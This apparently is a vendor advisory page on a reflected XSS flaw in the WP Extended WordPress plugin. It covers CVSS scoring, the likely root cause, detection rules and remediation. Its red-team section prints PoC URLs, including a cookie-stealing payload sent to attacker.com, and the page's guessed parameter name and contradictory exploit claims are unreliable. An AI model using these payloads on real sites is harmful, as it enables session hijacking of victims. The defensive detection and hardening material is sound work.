CVE-2025-30796
Executive Summary
CVE-2025-30796 is a reflected Cross-Site Scripting (XSS) vulnerability in the WordPress plugin The Ultimate WordPress Toolkit – WP Extended (slug: wpextended), developed by WP Extended. The vulnerability exists in versions from n/a through 3.0.14. It allows an unauthenticated attacker to inject arbitrary web scripts or HTML via a crafted request, which will be reflected back to the victim's browser. This can lead to session hijacking, credential theft, or defacement. The CVSS score is 7.1 (High), and the EPSS probability is 0.0%, indicating low active exploitation in the wild. No public exploit code or patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin directly from the WordPress dashboard or via the repository are affected. There is no known compromise of the plugin's update channel, but the lack of a patch increases supply chain risk for sites relying on this plugin.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Base Score: 7.1 (High)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R) – victim must click a crafted link
- Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: Low (A:L)
Threat Level: High. Although EPSS is low, the vulnerability is trivial to exploit and requires no authentication. Once a patch is released, attackers will quickly weaponize it.
Deep Dive & Mechanics
The vulnerability is a reflected XSS in the WP Extended plugin. The plugin fails to properly sanitize user-supplied input before including it in a web page response. An attacker can craft a malicious URL containing JavaScript payloads in a parameter (likely s, search, or a similar query parameter) that the plugin reflects without encoding.
Root Cause: The plugin uses $_GET or $_REQUEST data directly in output without applying WordPress's esc_html(), esc_attr(), or wp_kses() functions. This allows arbitrary HTML/JavaScript injection.
Attack Flow:
- Attacker crafts a URL:
https://victim-site.com/?wpextended_search=<script>alert('XSS')</script> - Victim clicks the link (e.g., via phishing email).
- The plugin processes the request and reflects the payload in the response.
- The victim's browser executes the injected script.
Vulnerable vs. Patched Code
Since no patch is available, we can only describe the vulnerable pattern.
Vulnerable Code (hypothetical example):
// In a WP Extended template or function
$search = $_GET['wpextended_search'];
echo '<div class="search-result">' . $search . '</div>';
Patched Code (expected fix):
$search = isset($_GET['wpextended_search']) ? sanitize_text_field($_GET['wpextended_search']) : '';
echo '<div class="search-result">' . esc_html($search) . '</div>';
The patch would use esc_html() to encode HTML special characters, preventing script execution.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site with WP Extended plugin version <= 3.0.14.
- No authentication required.
Proof-of-Concept (PoC) URL:
https://target-site.com/?wpextended_search=<script>alert(document.cookie)</script>
Advanced Payload (session hijacking):
https://target-site.com/?wpextended_search=<img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>
Steps:
- Identify a target running the vulnerable plugin.
- Craft a malicious link with the payload.
- Deliver the link via phishing or social engineering.
- When the victim clicks, the script executes in their browser.
Blue Team (Detection & Hardening)
Detection:
- Monitor web server logs for requests containing
wpextended_search=followed by suspicious characters (<,>,script,onerror, etc.). - Use a WAF (e.g., ModSecurity) to block reflected XSS patterns.
Hardening:
- Immediately disable or remove the WP Extended plugin until a patch is available.
- Implement Content Security Policy (CSP) headers to block inline scripts.
- Use WordPress security plugins (e.g., Wordfence) to add virtual patching.
Indicators of Compromise (IOCs)
- URL Patterns:
/?wpextended_search=*<script>*/?wpextended_search=*<img*onerror=*/?wpextended_search=*<svg/onload=*
- Log Entries:
GET /?wpextended_search=%3Cscript%3Ealert(1)%3C/script%3E
- Network Traffic:
- Outbound requests to attacker-controlled domains from the victim's browser (if payload exfiltrates data).
Detection Engineering
YARA Rule
rule CVE_2025_30796_Reflected_XSS {
meta:
description = "Detects reflected XSS attempts against WP Extended plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-30796"
strings:
$payload1 = "wpextended_search="
$payload2 = "<script"
$payload3 = "onerror="
$payload4 = "onload="
condition:
any of ($payload*) and #payload1 > 0
}
Sigma Rule
title: Reflected XSS Attempt Against WP Extended Plugin
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests containing reflected XSS payloads targeting the WP Extended plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-uri-query|contains: "wpextended_search="
keywords:
- "<script"
- "onerror="
- "onload="
- "alert("
condition: selection and keywords
falsepositives:
- Legitimate use of search functionality with special characters (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-30796 WP Extended Reflected XSS Attempt"; flow:to_server,established; content:"wpextended_search="; http_uri; pcre:"/(<script|onerror=|onload=|alert\()/i"; classtype:web-application-attack; sid:10000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin – Deactivate and uninstall WP Extended until a patched version is released.
- Web Application Firewall (WAF) – Deploy rules to block requests containing
wpextended_search=with XSS patterns. - Content Security Policy (CSP) – Add
script-src 'self'to prevent inline script execution.
Long-Term Fix:
- Monitor the plugin's official page for a security update.
- Apply the patch as soon as it becomes available (expected to sanitize input with
esc_html()orsanitize_text_field()).
Workaround:
- If the plugin is critical, consider using a different WordPress toolkit plugin that is actively maintained.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.